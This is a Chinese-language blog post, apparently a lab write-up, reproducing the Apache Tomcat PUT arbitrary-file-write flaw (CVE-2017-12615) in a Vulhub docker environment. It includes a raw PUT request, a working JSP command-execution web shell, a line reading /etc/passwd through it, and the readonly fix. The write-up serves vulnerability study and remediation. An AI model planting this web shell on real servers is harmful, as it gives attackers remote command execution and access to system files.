渗透测试系列 — VulnHub–Tomcat PUT方法任意写文件

正文:

教程
由于这个测试在前面的文件链接找不到,只有通过镜像
实际的操作由于是漏洞复现,按着来就行,只简单记录下docker下镜像的使用
漏洞利用没做,上传后利用即可

一.docker

详细操作直接参考https://github.com/vulhub/vulhub
apt-get install docker
apt-get install docker-compose
启动docker 镜像(service docker start)
拉取项目git clone https://github.com/vulhub/vulhub.git
cd vulhub/tomacat/CVE-2017-12615
docker-compose up -d
用国内的镜像加速器,阿里云等等
解决教程
修改 /etc/docker/daemon.json 文件并添加上 registry-mirrors 键值。
$ vim /etc/docker/daemon.json
{
“registry-mirrors”: [“https://registry.docker-cn.com”]
}
这里也可以改成自己的阿里云镜像加速器地址,阿里云会为每个用户提供一个专属的加速地址,复制该地址。
我的系统无 /etc/docker/daemon.json 文件
解决:
root@kali:~# find /etc -name “docker”
/etc/bash_completion.d/docker
/etc/docker
/etc/init.d/docker
/etc/default/docker
vi  /etc/default/docker

二.

没接触过jsp,类似吧
1.利用条件
(1) 受影响版本:Apache Tomcat 7.0.0 – 7.0.80。漏洞说明只影响Windows平台下,当 PUT 地址为/1.jsp/时,仍然会创建 JSP,会影响 Linux 和 Windows 服务器。
不受影响的版本:
Apache Tomcat 7.0.81
Apache Tomcat 8.x
Apache Tomcat 9.x
(2) 当Tomcat 启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false)
2.
上传cmd

PUT /1.jsp/ HTTP/1.1
Host: 192.168.64.151:8080
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

cmd代码

<%@ page import="java.io.*"%>
<%
   try {
           String cmd = request.getParameter("cmd");
           Process child = Runtime.getRuntime().exec(cmd);
           InputStream in = child.getInputStream();
           int c;
           while ((c = in.read()) != -1) {
                out.print((char)c);
           }
           in.close();
           try {
                child.waitFor();
           } catch (InterruptedException e) {
               e.printStackTrace();
           }
       } catch (IOException e) {
           System.err.println(e);
       }
%>

1.jsp?cmd=cat /etc/passwd
2.
jsp大马

三.修复方法

将 conf/web.xml中对于DefaultServlet 的 readonly 设置为 true,能防止漏洞。
 
2018.7.4

发表评论

电子邮件地址不会被公开。 必填项已用*标注